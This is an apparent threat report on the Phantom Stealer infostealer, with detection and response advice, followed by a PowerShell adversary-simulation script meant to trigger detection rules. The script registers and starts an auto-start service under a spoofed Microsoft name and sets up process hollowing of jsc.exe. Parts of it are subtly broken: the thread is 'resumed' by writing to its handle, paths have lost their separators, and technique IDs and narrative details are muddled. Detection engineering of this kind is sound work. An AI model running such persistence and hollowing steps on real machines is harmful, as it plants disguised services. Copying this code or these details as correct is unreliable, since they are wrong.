Phantom Stealer Analysis: Inside a Two-Layer Attack Chain

Summary

Phantom Stealer is a two-stage Windows infostealer that begins with a malicious pdh.dll loader and ends with a .NET payload injected into jsc.exe. The loader uses DLL hijacking, process hollowing, and native AOT compilation to reduce the chance of detection. Once active, the second-stage payload steals credentials, browser data, cryptocurrency wallet information, clipboard content, and other sensitive data, and can also replace copied wallet addresses with attacker-controlled values. The malware is marketed as a commercial crimeware offering and is currently being used in active attacks.

Investigation

Researchers found that the loader copies itself to %APPDATA%\Microsoft\RasManagement\MpDlpService.exe and creates a Run key to maintain persistence. It then decrypts a double-RC4-encrypted payload, injects it into a suspended jsc.exe process, and performs multiple anti-analysis checks before starting data theft. The inner .NET stealer is capable of bypassing Chrome 127+ app-bound encryption and exfiltrates stolen information over SMTP using a spoofed domain. Separate threads handle crypto clipping and keylogging functions.

Mitigation

Defenders should monitor for unexpected pdh.dll loads from non-system paths and enforce controls that reduce DLL hijacking risk. Security teams should also detect unfamiliar executables placed in %APPDATA%\Microsoft\RasManagement and watch for the RasManSvc Run key. Behavior-based detections should focus on process hollowing involving jsc.exe, while network monitoring should flag suspicious connections to the identified command-and-control domains. Additional hardening of browser credential storage and tighter controls over clipboard access for untrusted applications can further reduce exposure.

Response

Alert on creation of MpDlpService.exe inside the RasManagement directory and on changes to the related Run registry key. Investigate any jsc.exe process that shows signs of injected code and terminate the malicious activity immediately. Collect the relevant indicators of compromise, quarantine the associated files, and perform forensic analysis to determine what credentials and wallet data may have been exposed. Reset impacted accounts and notify affected users as needed.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  An adversary first steals a malicious payload (e.g., a reverse shell DLL) and stores it in the user’s %APPDATA% directory. Using jsc.exe as a hollowing host, the attacker creates a new process, injects the payload, and resumes execution—fulfilling T1055.012 and T1055.003.
  To ensure persistence, the attacker copies the malicious DLL to %APPDATA%MicrosoftRasManagementMpDlpService.exe and registers it as a service that runs at logon, abusing the legitimate service name (T1620).

• Regression Test Script:

  # ---------------------------------------------------------
  # Simulated adversary script – Process Hollowing + Persistence
  # ---------------------------------------------------------
  
  # Variables
  $appData = "$env:APPDATAMicrosoftRasManagement"
  $loaderPath = Join-Path $appData "MpDlpService.exe"
  $maliciousDll = "$env:TMPmalicious.dll"   # placeholder for payload
  
  # 1. Prepare persistence directory
  New-Item -Path $appData -ItemType Directory -Force | Out-Null
  
  # 2. Drop a dummy malicious DLL (simulated payload)
  #    In a real attack this would be a compiled payload; here we create a zero‑byte file.
  New-Item -Path $maliciousDll -ItemType File -Force | Out-Null
  
  # 3. Copy the DLL to the spoofed service location
  Copy-Item -Path $maliciousDll -Destination $loaderPath -Force
  
  # 4. Register a temporary service pointing to the copied file (requires admin)
  $svcName = "MpDlpService"
  sc.exe create $svcName binPath= "`"$loaderPath`"" DisplayName= "Microsoft Ras Management Service" start= auto | Out-Null
  
  # 5. Start the service (triggers execution of MpDlpService.exe)
  sc.exe start $svcName | Out-Null
  
  # 6. Perform process hollowing using jsc.exe as the host
  #    We will launch jsc.exe suspended, replace its memory with the dummy payload,
  #    then resume. This uses the Invoke-ProcessHollowing function from PowerSploit.
  function Invoke-ProcessHollowing {
      param(
          [string]$HostPath,
          [string]$PayloadPath
      )
      # Load .NET APIs
      Add-Type @"
  using System;
  using System.Diagnostics;
  using System.Runtime.InteropServices;
  public class Hollow {
    [DllImport("kernel32.dll")] public static extern bool CreateProcess(string appName, string cmdLine,
        IntPtr procSec, IntPtr threadSec, bool inherit, uint flags,
        IntPtr env, string cwd, ref STARTUPINFO si, out PROCESS_INFORMATION pi);
    [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO {
        public int cb; public string lpReserved; public string lpDesktop; public string lpTitle;
        public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars;
        public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow;
        public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput;
        public IntPtr hStdError;
    }
    [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION {
        public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId;
    }
  "@
      # Create process suspended
      $si = New-Object Hollow+STARTUPINFO
      $pi = New-Object Hollow+PROCESS_INFORMATION
      $si.cb = [Runtime.InteropServices.Marshal]::SizeOf($si)
      $CREATE_SUSPENDED = 0x00000004
      $ok = [Hollow]::CreateProcess($null, "`"$HostPath`"", [IntPtr]::Zero, [IntPtr]::Zero, $false,
          $CREATE_SUSPENDED, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
      if (-not $ok) { Write-Error "Failed to create suspended process" ; return }
  
      # (Payload injection steps omitted – placeholder for real technique)
      # Resume thread
      $RESUME_THREAD = 0x00000001
      [System.Runtime.InteropServices.Marshal]::WriteInt32($pi.hThread, 0, $RESUME_THREAD) | Out-Null
  }
  
  # Execute hollowing (using the real jsc.exe as host)
  $jscPath = "$env:SystemRootSystem32jsc.exe"
  Invoke-ProcessHollowing -HostPath $jscPath -PayloadPath $maliciousDll
  
  # ---------------------------------------------------------
  # End of simulation
  # ---------------------------------------------------------

• Cleanup Commands:

  # Stop and delete temporary service
  sc.exe stop MpDlpService | Out-Null
  sc.exe delete MpDlpService | Out-Null
  
  # Remove loader and dummy payload
  Remove-Item -Path "$env:APPDATAMicrosoftRasManagementMpDlpService.exe" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TMPmalicious.dll" -Force -ErrorAction SilentlyContinue
  
  # Optional: kill any lingering jsc.exe processes started by the test
  Get-Process -Name jsc -ErrorAction SilentlyContinue | Stop-Process -Force